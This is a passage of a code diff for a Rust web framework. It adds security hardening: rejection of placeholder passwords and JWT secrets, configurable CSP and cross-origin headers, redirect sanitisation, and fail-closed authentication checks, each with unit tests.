| 128 | + design_md: None, | |
| 129 | + layout: None, | |
| 130 | + }; | |
| 114 | 131 | let rows = rows_for(&inputs.selected); |
| 115 | 132 | let out = render_plan(&inputs, &rows); |
| 116 | 133 | assert!(out.contains("<!-- screen-select:security-guides -->")); |
@@ -122,6 +139,9 @@ mod tests {
| 122 | 139 | // le bloc statique doit précéder le tableau (vu en premier par le dev) |
| 123 | 140 | let guides = out.find("Sécurité transversale").unwrap(); |
| 124 | 141 | let table = out.find("| Statut").unwrap(); |
| 125 | - assert!(guides < table, "les garde-fous transversaux doivent précéder le tableau"); | |
| 142 | + assert!( | |
| 143 | + guides < table, | |
| 144 | + "les garde-fous transversaux doivent précéder le tableau" | |
| 145 | + ); | |
| 126 | 146 | } |
| 127 | 147 | } |
M
crates/rustwarden-core/src/bin/screen-select/main.rs
+23
-5
@@ -62,14 +62,23 @@ fn run_wizard() -> io::Result<()> {
| 62 | 62 | Some(std::fs::read_to_string(&design_path)?) |
| 63 | 63 | }; |
| 64 | 64 | let layout = prompt("Structure de page (ex. 'navbar: gauche; 2 colonnes', vide si aucune) : ")?; |
| 65 | - let layout = if layout.is_empty() { None } else { Some(layout) }; | |
| 65 | + let layout = if layout.is_empty() { | |
| 66 | + None | |
| 67 | + } else { | |
| 68 | + Some(layout) | |
| 69 | + }; | |
| 66 | 70 | |
| 67 | 71 | let project = std::env::current_dir()? |
| 68 | 72 | .file_name() |
| 69 | 73 | .map(|n| n.to_string_lossy().into_owned()) |
| 70 | 74 | .unwrap_or_else(|| "projet".into()); |
| 71 | 75 | |
| 72 | - let inputs = generate::PlanInputs { project: &project, selected, design_md, layout }; | |
| 76 | + let inputs = generate::PlanInputs { | |
| 77 | + project: &project, | |
| 78 | + selected, | |
| 79 | + design_md, | |
| 80 | + layout, | |
| 81 | + }; | |
| 73 | 82 | let desired = generate::rows_for(&inputs.selected); |
| 74 | 83 | |
| 75 | 84 | // 3. Fusion si un plan existe déjà (préserve statuts + routes éditées). |
@@ -82,7 +91,11 @@ fn run_wizard() -> io::Result<()> {
| 82 | 91 | let mut c = todo::replace_table(&existing, &merged); |
| 83 | 92 | // …puis régénère les sections sécurité (idempotent, suit la sélection courante). |
| 84 | 93 | c = section::upsert(&c, security::GUIDES_ID, &security::guides_body()); |
| 85 | - c = section::upsert(&c, security::PER_SCREEN_ID, &security::reference_body(&inputs.selected)); | |
| 94 | + c = section::upsert( | |
| 95 | + &c, | |
| 96 | + security::PER_SCREEN_ID, | |
| 97 | + &security::reference_body(&inputs.selected), | |
| 98 | + ); | |
| 86 | 99 | c |
| 87 | 100 | } else { |
| 88 | 101 | generate::render_plan(&inputs, &desired) |
@@ -92,8 +105,13 @@ fn run_wizard() -> io::Result<()> {
| 92 | 105 | std::fs::create_dir_all(parent)?; |
| 93 | 106 | } |
| 94 | 107 | std::fs::write(path, content)?; |
| 95 | - println!("\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).", desired.len()); | |
| 96 | - println!(" Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check"); | |
| 108 | + println!( | |
| 109 | + "\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).", | |
| 110 | + desired.len() | |
| 111 | + ); | |
| 112 | + println!( | |
| 113 | + " Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check" | |
| 114 | + ); | |
| 97 | 115 | Ok(()) |
| 98 | 116 | } |
| 99 | 117 |
M
crates/rustwarden-core/src/bin/screen-select/todo.rs
+16
-4
@@ -161,7 +161,11 @@ mod tests {
| 161 | 161 | fn parse_round_trip() { |
| 162 | 162 | let mut a = row(); |
| 163 | 163 | a.done = true; |
| 164 | - let b = TodoRow { screen: "SessionsList".into(), route: "/settings/sessions".into(), ..row() }; | |
| 164 | + let b = TodoRow { | |
| 165 | + screen: "SessionsList".into(), | |
| 166 | + route: "/settings/sessions".into(), | |
| 167 | + ..row() | |
| 168 | + }; | |
| 165 | 169 | let rendered = render(&[a.clone(), b.clone()]); |
| 166 | 170 | let parsed = parse(&rendered); |
| 167 | 171 | assert_eq!(parsed, vec![a, b]); |
@@ -180,7 +184,7 @@ mod tests {
| 180 | 184 | existing.route = "/custom/2fa".into(); // route éditée par le dev |
| 181 | 185 | // "desired" = catalogue (route suggérée par défaut), même clé (func+screen) |
| 182 | 186 | let desired = row(); |
| 183 | - let merged = merge(&[existing.clone()], &[desired.clone()]); | |
| 187 | + let merged = merge(&[existing.clone()], std::slice::from_ref(&desired)); | |
| 184 | 188 | assert_eq!(merged.len(), 1); |
| 185 | 189 | assert!(merged[0].done, "statut conservé"); |
| 186 | 190 | assert_eq!(merged[0].route, "/custom/2fa", "route éditée conservée"); |
@@ -188,10 +192,18 @@ mod tests {
| 188 | 192 | |
| 189 | 193 | #[test] |
| 190 | 194 | fn merge_ajoute_les_nouveaux() { |
| 191 | - let desired_new = TodoRow { functionality: "Teams".into(), screen: "TeamsManagement".into(), ..row() }; | |
| 195 | + let desired_new = TodoRow { | |
| 196 | + functionality: "Teams".into(), | |
| 197 | + screen: "TeamsManagement".into(), | |
| 198 | + ..row() | |
| 199 | + }; | |
| 192 | 200 | let merged = merge(&[], &[row(), desired_new.clone()]); |
| 193 | 201 | assert_eq!(merged.len(), 2); |
| 194 | - assert!(merged.iter().any(|r| r.screen == "TeamsManagement" && !r.done)); | |
| 202 | + assert!( | |
| 203 | + merged | |
| 204 | + .iter() | |
| 205 | + .any(|r| r.screen == "TeamsManagement" && !r.done) | |
| 206 | + ); | |
| 195 | 207 | } |
| 196 | 208 | |
| 197 | 209 | #[test] |
M
crates/rustwarden-core/src/config/admin.rs
+50
-10
@@ -34,16 +34,10 @@ impl AdminConfig {
| 34 | 34 | |
| 35 | 35 | /// Validate the admin configuration, returning an error if any field is invalid. |
| 36 | 36 | pub fn validate(&self) -> Result<(), ValidationError> { |
| 37 | - if self.username.len() < 3 || self.username.len() > 64 { | |
| 38 | - return Err(ValidationError::new("username_length")); | |
| 39 | - } | |
| 40 | - if !self | |
| 41 | - .username | |
| 42 | - .chars() | |
| 43 | - .all(|c| c.is_alphanumeric() || c == '_' || c == '-') | |
| 44 | - { | |
| 45 | - return Err(ValidationError::new("username_format")); | |
| 46 | - } | |
| 37 | + // Delegate charset + length to Username::parse_allow_reserved so | |
| 38 | + // ADMIN_USERNAME=admin (reserved by public parse) keeps working. | |
| 39 | + crate::types::Username::parse_allow_reserved(&self.username) | |
| 40 | + .map_err(|_| ValidationError::new("username_format"))?; | |
| 47 | 41 | if !self.email.contains('@') { |
| 48 | 42 | return Err(ValidationError::new("email_format")); |
| 49 | 43 | } |
@@ -52,6 +46,9 @@ impl AdminConfig {
| 52 | 46 | return Err(ValidationError::new("email_format")); |
| 53 | 47 | } |
| 54 | 48 | if let Some(ref password) = self.password { |
| 49 | + if password == "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT" || password == "password" { | |
| 50 | + return Err(ValidationError::new("password_placeholder")); | |
| 51 | + } | |
| 55 | 52 | if password.len() < 8 { |
| 56 | 53 | return Err(ValidationError::new("password_length")); |
| 57 | 54 | } |
@@ -59,3 +56,46 @@ impl AdminConfig {
| 59 | 56 | Ok(()) |
| 60 | 57 | } |
| 61 | 58 | } |
| 59 | + | |
| 60 | +#[cfg(test)] | |
| 61 | +mod tests { | |
| 62 | + use super::AdminConfig; | |
| 63 | + | |
| 64 | + fn config_with_password(password: Option<String>) -> AdminConfig { | |
| 65 | + AdminConfig { | |
| 66 | + username: "admin".into(), | |
| 67 | + email: "admin@localhost".into(), | |
| 68 | + password, | |
| 69 | + } | |
| 70 | + } | |
| 71 | + | |
| 72 | + #[test] | |
| 73 | + fn rejects_literal_password() { | |
| 74 | + let err = config_with_password(Some("password".into())) | |
| 75 | + .validate() | |
| 76 | + .expect_err("literal password must be rejected"); | |
| 77 | + assert_eq!(err.code.as_ref(), "password_placeholder"); | |
| 78 | + } | |
| 79 | + | |
| 80 | + #[test] | |
| 81 | + fn rejects_cli_placeholder_password() { | |
| 82 | + let err = config_with_password(Some("REMPLACER_PAR_UN_MOT_DE_PASSE_FORT".into())) | |
| 83 | + .validate() | |
| 84 | + .expect_err("CLI placeholder password must be rejected"); | |
| 85 | + assert_eq!(err.code.as_ref(), "password_placeholder"); | |
| 86 | + } | |
| 87 | + | |
| 88 | + #[test] | |
| 89 | + fn accepts_strong_password() { | |
| 90 | + config_with_password(Some("Str0ngEnough".into())) | |
| 91 | + .validate() | |
| 92 | + .expect("non-placeholder password of sufficient length must pass"); | |
| 93 | + } | |
| 94 | + | |
| 95 | + #[test] | |
| 96 | + fn accepts_missing_password() { | |
| 97 | + config_with_password(None) | |
| 98 | + .validate() | |
| 99 | + .expect("absent password is generated later"); | |
| 100 | + } | |
| 101 | +} |
M
crates/rustwarden-core/src/config/auth.rs
+55
-7
@@ -75,6 +75,18 @@ pub struct AuthConfig {
| 75 | 75 | pub auth_failure_mode: AuthFailureMode, |
| 76 | 76 | } |
| 77 | 77 | |
| 78 | +/// Returns `true` when `secret` is an exact match for a known example JWT secret. | |
| 79 | +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool { | |
| 80 | + const KNOWN_EXAMPLES: &[&str] = &[ | |
| 81 | + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 82 | + "change-me-in-production", | |
| 83 | + "super-secret-jwt-key", | |
| 84 | + "my-secret-key", | |
| 85 | + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE", | |
| 86 | + ]; | |
| 87 | + KNOWN_EXAMPLES.contains(&secret) | |
| 88 | +} | |
| 89 | + | |
| 78 | 90 | impl AuthConfig { |
| 79 | 91 | /// Load and validate authentication configuration from environment variables. |
| 80 | 92 | pub fn from_env() -> Result<Self, String> { |
@@ -82,13 +94,7 @@ impl AuthConfig {
| 82 | 94 | .map_err(|_| "JWT_SECRET environment variable is required".to_string())?; |
| 83 | 95 | |
| 84 | 96 | // SEC-L1: Reject well-known example/placeholder secrets |
| 85 | - const KNOWN_EXAMPLES: &[&str] = &[ | |
| 86 | - "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 87 | - "change-me-in-production", | |
| 88 | - "super-secret-jwt-key", | |
| 89 | - "my-secret-key", | |
| 90 | - ]; | |
| 91 | - if KNOWN_EXAMPLES.iter().any(|ex| jwt_secret == *ex) { | |
| 97 | + if jwt_secret_is_placeholder(&jwt_secret) { | |
| 92 | 98 | return Err( |
| 93 | 99 | "JWT_SECRET is set to a known example value. Please generate a unique secret \ |
| 94 | 100 | (e.g., `openssl rand -hex 32`)." |
@@ -334,3 +340,45 @@ mod tests {
| 334 | 340 | assert!(AuthFailureMode::from_str("nope").is_err()); |
| 335 | 341 | } |
| 336 | 342 | } |
| 343 | + | |
| 344 | +#[cfg(test)] | |
| 345 | +mod jwt_secret_tests { | |
| 346 | + use super::jwt_secret_is_placeholder; | |
| 347 | + | |
| 348 | + #[test] | |
| 349 | + fn rejects_cli_placeholder() { | |
| 350 | + assert!(jwt_secret_is_placeholder( | |
| 351 | + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE" | |
| 352 | + )); | |
| 353 | + } | |
| 354 | + | |
| 355 | + #[test] | |
| 356 | + fn rejects_historical_placeholders() { | |
| 357 | + const HISTORICAL: &[&str] = &[ | |
| 358 | + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 359 | + "change-me-in-production", | |
| 360 | + "super-secret-jwt-key", | |
| 361 | + "my-secret-key", | |
| 362 | + ]; | |
| 363 | + for secret in HISTORICAL { | |
| 364 | + assert!( | |
| 365 | + jwt_secret_is_placeholder(secret), | |
| 366 | + "expected placeholder rejection for {secret}" | |
| 367 | + ); | |
| 368 | + } | |
| 369 | + } | |
| 370 | + | |
| 371 | + #[test] | |
| 372 | + fn accepts_passphrase_containing_change_me() { | |
| 373 | + assert!(!jwt_secret_is_placeholder( | |
| 374 | + "my-change-me-not-secret-passphrase-2026xxxx" | |
| 375 | + )); | |
| 376 | + } | |
| 377 | + | |
| 378 | + #[test] | |
| 379 | + fn accepts_random_hex_64() { | |
| 380 | + assert!(!jwt_secret_is_placeholder( | |
| 381 | + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" | |
| 382 | + )); | |
| 383 | + } | |
| 384 | +} |
M
crates/rustwarden-core/src/config/mod.rs
+2
-0
@@ -17,6 +17,8 @@ pub mod oauth;
| 17 | 17 | |
| 18 | 18 | // `FediverseConfig` moved to the `rustwarden-fediverse` crate. |
| 19 | 19 | |
| 20 | +/// Security response headers configuration (CSP, COOP, CORP — RFC 0039). | |
| 21 | +pub mod security_headers; | |
| 20 | 22 | /// HTTP server configuration (host, port, TLS). |
| 21 | 23 | pub mod server; |
| 22 | 24 | /// Background task scheduler configuration. |
A
crates/rustwarden-core/src/config/security_headers.rs
+129
-0
@@ -0,0 +1,129 @@
| 1 | +//! Security response headers configuration (RFC 0039). | |
| 2 | +//! | |
| 3 | +//! Additive configuration for the security headers middleware wired by | |
| 4 | +//! `RustwardenApp::builder()`: a configurable `Content-Security-Policy` | |
| 5 | +//! plus opt-in `Cross-Origin-Opener-Policy` / `Cross-Origin-Resource-Policy`. | |
| 6 | +//! | |
| 7 | +//! The [`Default`] implementation is **bit-identical** to the headers | |
| 8 | +//! shipped since patch 1.0.1: the default CSP keeps `'unsafe-inline'` and | |
| 9 | +//! `'unsafe-eval'` (required by the stock Alpine.js build used by the admin | |
| 10 | +//! UI), and COOP/CORP are not emitted at all. | |
| 11 | +//! | |
| 12 | +//! The other hardcoded headers (`X-Content-Type-Options`, `X-Frame-Options`, | |
| 13 | +//! `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS) are | |
| 14 | +//! intentionally **not** configurable here (RFC 0039 non-goals). | |
| 15 | + | |
| 16 | +use std::borrow::Cow; | |
| 17 | + | |
| 18 | +/// Default CSP shipped since SEC-H1 / 1.0.1. Do not tighten in the first | |
| 19 | +/// implementation PR (Alpine.js still needs 'unsafe-eval'). | |
| 20 | +pub const DEFAULT_CONTENT_SECURITY_POLICY: &str = "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; | |
| 21 | + | |
| 22 | +/// Candidate default **after** PLAN_CSP_HTMX.md Phase 1 (Alpine CSP build). | |
| 23 | +/// Not used by [`SecurityHeadersConfig::default`] until Phase 2 of RFC 0039. | |
| 24 | +pub const CSP_WITHOUT_UNSAFE_EVAL: &str = "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; | |
| 25 | + | |
| 26 | +/// Configurable security headers applied by the framework's security | |
| 27 | +/// headers middleware (see `RustwardenBuilder::security_headers`). | |
| 28 | +/// | |
| 29 | +/// # Examples | |
| 30 | +/// | |
| 31 | +/// ``` | |
| 32 | +/// use rustwarden_core::config::security_headers::{ | |
| 33 | +/// DEFAULT_CONTENT_SECURITY_POLICY, SecurityHeadersConfig, | |
| 34 | +/// }; | |
| 35 | +/// | |
| 36 | +/// // The default configuration matches the 1.0.1 behaviour exactly: | |
| 37 | +/// // legacy CSP, no COOP, no CORP. | |
| 38 | +/// let cfg = SecurityHeadersConfig::default(); | |
| 39 | +/// assert_eq!(cfg.content_security_policy, DEFAULT_CONTENT_SECURITY_POLICY); | |
| 40 | +/// assert!(cfg.cross_origin_opener_policy.is_none()); | |
| 41 | +/// assert!(cfg.cross_origin_resource_policy.is_none()); | |
| 42 | +/// | |
| 43 | +/// // Opt-in cross-origin isolation (e.g. Gitrust): | |
| 44 | +/// let isolated = SecurityHeadersConfig::default().with_same_origin_isolation(); | |
| 45 | +/// assert_eq!(isolated.cross_origin_opener_policy.as_deref(), Some("same-origin")); | |
| 46 | +/// assert_eq!(isolated.cross_origin_resource_policy.as_deref(), Some("same-origin")); | |
| 47 | +/// ``` | |
| 48 | +#[derive(Clone, Debug)] | |
| 49 | +pub struct SecurityHeadersConfig { | |
| 50 | + /// `Content-Security-Policy` value. Default keeps 1.0.1 (unsafe-inline/eval). | |
| 51 | + pub content_security_policy: Cow<'static, str>, | |
| 52 | + /// `Cross-Origin-Opener-Policy`. `None` = do not set the header (opt-in). | |
| 53 | + pub cross_origin_opener_policy: Option<Cow<'static, str>>, | |
| 54 | + /// `Cross-Origin-Resource-Policy`. `None` = do not set the header (opt-in). | |
| 55 | + pub cross_origin_resource_policy: Option<Cow<'static, str>>, | |
| 56 | +} | |
| 57 | + | |
| 58 | +impl Default for SecurityHeadersConfig { | |
| 59 | + fn default() -> Self { | |
| 60 | + Self { | |
| 61 | + content_security_policy: Cow::Borrowed(DEFAULT_CONTENT_SECURITY_POLICY), | |
| 62 | + cross_origin_opener_policy: None, | |
| 63 | + cross_origin_resource_policy: None, | |
| 64 | + } | |
| 65 | + } | |
| 66 | +} | |
| 67 | + | |
| 68 | +impl SecurityHeadersConfig { | |
| 69 | + /// Opt-in isolation headers commonly used by Gitrust: sets both | |
| 70 | + /// `Cross-Origin-Opener-Policy` and `Cross-Origin-Resource-Policy` | |
| 71 | + /// to `same-origin`. | |
| 72 | + pub fn with_same_origin_isolation(mut self) -> Self { | |
| 73 | + self.cross_origin_opener_policy = Some(Cow::Borrowed("same-origin")); | |
| 74 | + self.cross_origin_resource_policy = Some(Cow::Borrowed("same-origin")); | |
| 75 | + self | |
| 76 | + } | |
| 77 | +} | |
| 78 | + | |
| 79 | +#[cfg(test)] | |
| 80 | +mod tests { | |
| 81 | + use super::*; | |
| 82 | + | |
| 83 | + /// Non-drift guard (RFC 0039 testing plan): the default CSP must stay | |
| 84 | + /// strictly equal to the literal string historically hardcoded in | |
| 85 | + /// `security_headers_middleware` (app.rs, patch 1.0.1). If this test | |
| 86 | + /// breaks, the default behaviour changed — that is Phase 2 territory | |
| 87 | + /// and requires its own PR + CHANGELOG `Security` entry. | |
| 88 | + #[test] | |
| 89 | + fn default_csp_matches_the_historical_literal() { | |
| 90 | + let cfg = SecurityHeadersConfig::default(); | |
| 91 | + assert_eq!(cfg.content_security_policy, DEFAULT_CONTENT_SECURITY_POLICY); | |
| 92 | + assert_eq!( | |
| 93 | + cfg.content_security_policy, | |
| 94 | + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" | |
| 95 | + ); | |
| 96 | + } | |
| 97 | + | |
| 98 | + #[test] | |
| 99 | + fn default_does_not_opt_into_coop_corp() { | |
| 100 | + let cfg = SecurityHeadersConfig::default(); | |
| 101 | + assert!(cfg.cross_origin_opener_policy.is_none()); | |
| 102 | + assert!(cfg.cross_origin_resource_policy.is_none()); | |
| 103 | + } | |
| 104 | + | |
| 105 | + #[test] | |
| 106 | + fn with_same_origin_isolation_sets_both_headers() { | |
| 107 | + let cfg = SecurityHeadersConfig::default().with_same_origin_isolation(); | |
| 108 | + assert_eq!( | |
| 109 | + cfg.cross_origin_opener_policy.as_deref(), | |
| 110 | + Some("same-origin") | |
| 111 | + ); | |
| 112 | + assert_eq!( | |
| 113 | + cfg.cross_origin_resource_policy.as_deref(), | |
| 114 | + Some("same-origin") | |
| 115 | + ); | |
| 116 | + // The CSP is untouched by the isolation helper. | |
| 117 | + assert_eq!(cfg.content_security_policy, DEFAULT_CONTENT_SECURITY_POLICY); | |
| 118 | + } | |
| 119 | + | |
| 120 | + /// The Phase 2 candidate constant only differs from the default by the | |
| 121 | + /// removal of `'unsafe-eval'` — keep them from drifting apart. | |
| 122 | + #[test] | |
| 123 | + fn phase2_candidate_is_default_without_unsafe_eval() { | |
| 124 | + assert_eq!( | |
| 125 | + DEFAULT_CONTENT_SECURITY_POLICY.replace(" 'unsafe-eval'", ""), | |
| 126 | + CSP_WITHOUT_UNSAFE_EVAL | |
| 127 | + ); | |
| 128 | + } | |
| 129 | +} |
M
crates/rustwarden-core/src/lib.rs
+3
-0
@@ -51,6 +51,7 @@ pub mod prelude {
| 51 | 51 | pub use crate::app::RustwardenApp; |
| 52 | 52 | pub use crate::auth::extractors::AuthUser; |
| 53 | 53 | pub use crate::auth::jwt::{Claims, JwtService}; |
| 54 | + pub use crate::config::security_headers::SecurityHeadersConfig; | |
| 54 | 55 | pub use crate::error::AppError; |
| 55 | 56 | pub use crate::hooks::RustwardenHooks; |
| 56 | 57 | pub use crate::notifications::sse::sse_response; |
@@ -62,6 +63,8 @@ pub mod prelude {
| 62 | 63 | pub use crate::services::role_service::RoleService; |
| 63 | 64 | pub use crate::services::team_service::{TeamRole, TeamService}; |
| 64 | 65 | pub use crate::services::user_service::UserService; |
| 66 | + pub use crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor; | |
| 65 | 67 | pub use crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor; |
| 66 | 68 | pub use crate::types::TeamSlug; |
| 69 | + pub use crate::types::Username; | |
| 67 | 70 | } |
M
crates/rustwarden-core/src/middleware/admin_required.rs
+6
-4
@@ -113,10 +113,12 @@ pub async fn admin_required_impl(
| 113 | 113 | Some(claims) => claims, |
| 114 | 114 | None => { |
| 115 | 115 | tracing::warn!("Unauthenticated access attempt to admin route: {}", uri); |
| 116 | - return Ok(crate::middleware::auth_service::auth_failure_from_extensions( | |
| 117 | - request.extensions(), | |
| 118 | - &uri, | |
| 119 | - )); | |
| 116 | + return Ok( | |
| 117 | + crate::middleware::auth_service::auth_failure_from_extensions( | |
| 118 | + request.extensions(), | |
| 119 | + &uri, | |
| 120 | + ), | |
| 121 | + ); | |
| 120 | 122 | } |
| 121 | 123 | }; |
| 122 | 124 |
M
crates/rustwarden-core/src/middleware/auth_service.rs
+188
-63
@@ -27,7 +27,7 @@ use crate::config::auth::{AuthConfig, AuthFailureMode};
| 27 | 27 | /// hard-wired to `rustwarden-ui`'s `/login`. The original target is preserved |
| 28 | 28 | /// in a `redirect` query parameter when it is a safe relative path. |
| 29 | 29 | pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String { |
| 30 | - let path = uri.to_string(); | |
| 30 | + let path = uri.replace('\\', "/"); | |
| 31 | 31 | if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') { |
| 32 | 32 | format!("{login_path}?redirect={}", urlencoding::encode(&path)) |
| 33 | 33 | } else { |
@@ -78,6 +78,46 @@ pub(crate) fn auth_failure_from_extensions(
| 78 | 78 | } |
| 79 | 79 | } |
| 80 | 80 | |
| 81 | +/// Fail-closed outcome of a SeaORM `find_by_id` (or equivalent) user lookup. | |
| 82 | +#[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 83 | +pub(crate) enum UserLookup { | |
| 84 | + /// A row was found; the caller still owns the `Model`. | |
| 85 | + Found, | |
| 86 | + /// No row: treat as unauthenticated (deleted user + leftover JWT). | |
| 87 | + Missing, | |
| 88 | + /// Database error: refuse the request (503). | |
| 89 | + Unavailable, | |
| 90 | +} | |
| 91 | + | |
| 92 | +/// Map a SeaORM lookup result to a fail-closed auth decision. | |
| 93 | +pub(crate) fn map_user_lookup<T, E>(result: Result<Option<T>, E>) -> UserLookup { | |
| 94 | + match result { | |
| 95 | + Ok(Some(_)) => UserLookup::Found, | |
| 96 | + Ok(None) => UserLookup::Missing, | |
| 97 | + Err(_) => UserLookup::Unavailable, | |
| 98 | + } | |
| 99 | +} | |
| 100 | + | |
| 101 | +/// Fail-closed outcome of a forced-2FA TOTP status check. | |
| 102 | +#[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 103 | +pub(crate) enum TotpGate { | |
| 104 | + /// User already has TOTP enabled; continue. | |
| 105 | + Allow, | |
| 106 | + /// Forced 2FA is on and the user has not enrolled; redirect to setup. | |
| 107 | + RedirectSetup, | |
| 108 | + /// Database error: refuse the request (503). | |
| 109 | + Unavailable, | |
| 110 | +} | |
| 111 | + | |
| 112 | +/// Map `TotpService::is_totp_enabled` to a fail-closed forced-2FA decision. | |
| 113 | +pub(crate) fn totp_force_gate(result: Result<bool, impl std::fmt::Display>) -> TotpGate { | |
| 114 | + match result { | |
| 115 | + Ok(true) => TotpGate::Allow, | |
| 116 | + Ok(false) => TotpGate::RedirectSetup, | |
| 117 | + Err(_) => TotpGate::Unavailable, | |
| 118 | + } | |
| 119 | +} | |
| 120 | + | |
| 81 | 121 | /// Tower middleware that injects the authenticated user into request extensions. |
| 82 | 122 | /// |
| 83 | 123 | /// The middleware splits incoming requests into two branches based on |
@@ -229,12 +269,12 @@ where
| 229 | 269 | } |
| 230 | 270 | }; |
| 231 | 271 | |
| 232 | - if JwtBlacklistService::is_blacklisted(&db, &jwt_token) | |
| 233 | - .await | |
| 234 | - .is_ok_and(|b| b) | |
| 235 | - { | |
| 236 | - tracing::warn!("AuthService: JWT token is blacklisted"); | |
| 237 | - return Ok(auth_failure_response(&auth_config, &uri)); | |
| 272 | + match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await { | |
| 273 | + Ok(true) | Err(_) => { | |
| 274 | + tracing::warn!("AuthService: JWT token is blacklisted"); | |
| 275 | + return Ok(auth_failure_response(&auth_config, &uri)); | |
| 276 | + } | |
| 277 | + Ok(false) => {} | |
| 238 | 278 | } |
| 239 | 279 | |
| 240 | 280 | let claims = match JwtService::validate_token(&auth_config, &jwt_token) { |
@@ -281,67 +321,104 @@ where
| 281 | 321 | let headers = &parts.headers; |
| 282 | 322 | let client_ip = extract_client_ip(headers); |
| 283 | 323 | |
| 284 | - if let Ok(Some(user_model)) = user::Entity::find_by_id(user_id).one(&db).await { | |
| 285 | - let must_change = user_model.must_change_password; | |
| 286 | - | |
| 287 | - let mut user_active: user::ActiveModel = user_model.into(); | |
| 288 | - user_active.last_login_at = Set(Some(Utc::now())); | |
| 289 | - if let Some(ip) = client_ip { | |
| 290 | - user_active.last_login_ip = Set(Some(ip)); | |
| 324 | + let lookup = user::Entity::find_by_id(user_id).one(&db).await; | |
| 325 | + match map_user_lookup(lookup.as_ref().map(|row| row.as_ref())) { | |
| 326 | + UserLookup::Unavailable => { | |
| 327 | + if let Err(e) = &lookup { | |
| 328 | + tracing::error!( | |
| 329 | + %user_id, | |
| 330 | + error = %e, | |
| 331 | + "user lookup failed (fail-closed)" | |
| 332 | + ); | |
| 333 | + } | |
| 334 | + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error") | |
| 335 | + .into_response()); | |
| 291 | 336 | } |
| 292 | - | |
| 293 | - if let Err(e) = user_active.update(&db).await { | |
| 294 | - tracing::warn!( | |
| 295 | - "Failed to update last_login for user {}: {}", | |
| 296 | - user_id, | |
| 297 | - e | |
| 298 | - ); | |
| 299 | - } else { | |
| 300 | - tracing::debug!("Updated last_login for user {}", user_id); | |
| 337 | + UserLookup::Missing => { | |
| 338 | + return Ok(auth_failure_response(&auth_config, &uri)); | |
| 301 | 339 | } |
| 340 | + UserLookup::Found => { | |
| 341 | + let Ok(Some(user_model)) = lookup else { | |
| 342 | + return Ok(( | |
| 343 | + StatusCode::SERVICE_UNAVAILABLE, | |
| 344 | + "Internal server error", | |
| 345 | + ) | |
| 346 | + .into_response()); | |
| 347 | + }; | |
| 302 | 348 | |
| 303 | - if must_change && !path.starts_with("/settings/password") { | |
| 304 | - tracing::info!( | |
| 305 | - "User {} must change password, redirecting from {}", | |
| 306 | - user_id, | |
| 307 | - path | |
| 308 | - ); | |
| 309 | - return Ok(axum::response::Redirect::to( | |
| 310 | - "/settings/password?must_change=true", | |
| 311 | - ) | |
| 312 | - .into_response()); | |
| 313 | - } | |
| 349 | + let must_change = user_model.must_change_password; | |
| 314 | 350 | |
| 315 | - // Check if 2FA is forced globally and user hasn't set it up | |
| 316 | - if !path.starts_with("/settings/security") | |
| 317 | - && !path.starts_with("/api/v1/auth") | |
| 318 | - { | |
| 319 | - let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 320 | - &db, | |
| 321 | - &["totp_force_enabled"], | |
| 322 | - false, | |
| 323 | - ) | |
| 324 | - .await | |
| 325 | - .unwrap_or(false); | |
| 351 | + let mut user_active: user::ActiveModel = user_model.into(); | |
| 352 | + user_active.last_login_at = Set(Some(Utc::now())); | |
| 353 | + if let Some(ip) = client_ip { | |
| 354 | + user_active.last_login_ip = Set(Some(ip)); | |
| 355 | + } | |
| 326 | 356 | |
| 327 | - if totp_force_enabled { | |
| 328 | - let totp_enabled = | |
| 329 | - crate::services::totp_service::TotpService::is_totp_enabled( | |
| 357 | + if let Err(e) = user_active.update(&db).await { | |
| 358 | + tracing::warn!( | |
| 359 | + "Failed to update last_login for user {}: {}", | |
| 360 | + user_id, | |
| 361 | + e | |
| 362 | + ); | |
| 363 | + } else { | |
| 364 | + tracing::debug!("Updated last_login for user {}", user_id); | |
| 365 | + } | |
| 366 | + | |
| 367 | + if must_change && !path.starts_with("/settings/password") { | |
| 368 | + tracing::info!( | |
| 369 | + "User {} must change password, redirecting from {}", | |
| 370 | + user_id, | |
| 371 | + path | |
| 372 | + ); | |
| 373 | + return Ok(Redirect::to("/settings/password?must_change=true") | |
| 374 | + .into_response()); | |
| 375 | + } | |
| 376 | + | |
| 377 | + // Check if 2FA is forced globally and user hasn't set it up | |
| 378 | + if !path.starts_with("/settings/security") | |
| 379 | + && !path.starts_with("/api/v1/auth") | |
| 380 | + { | |
| 381 | + let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 382 | + &db, | |
| 383 | + &["totp_force_enabled"], | |
| 384 | + false, | |
| 385 | + ) | |
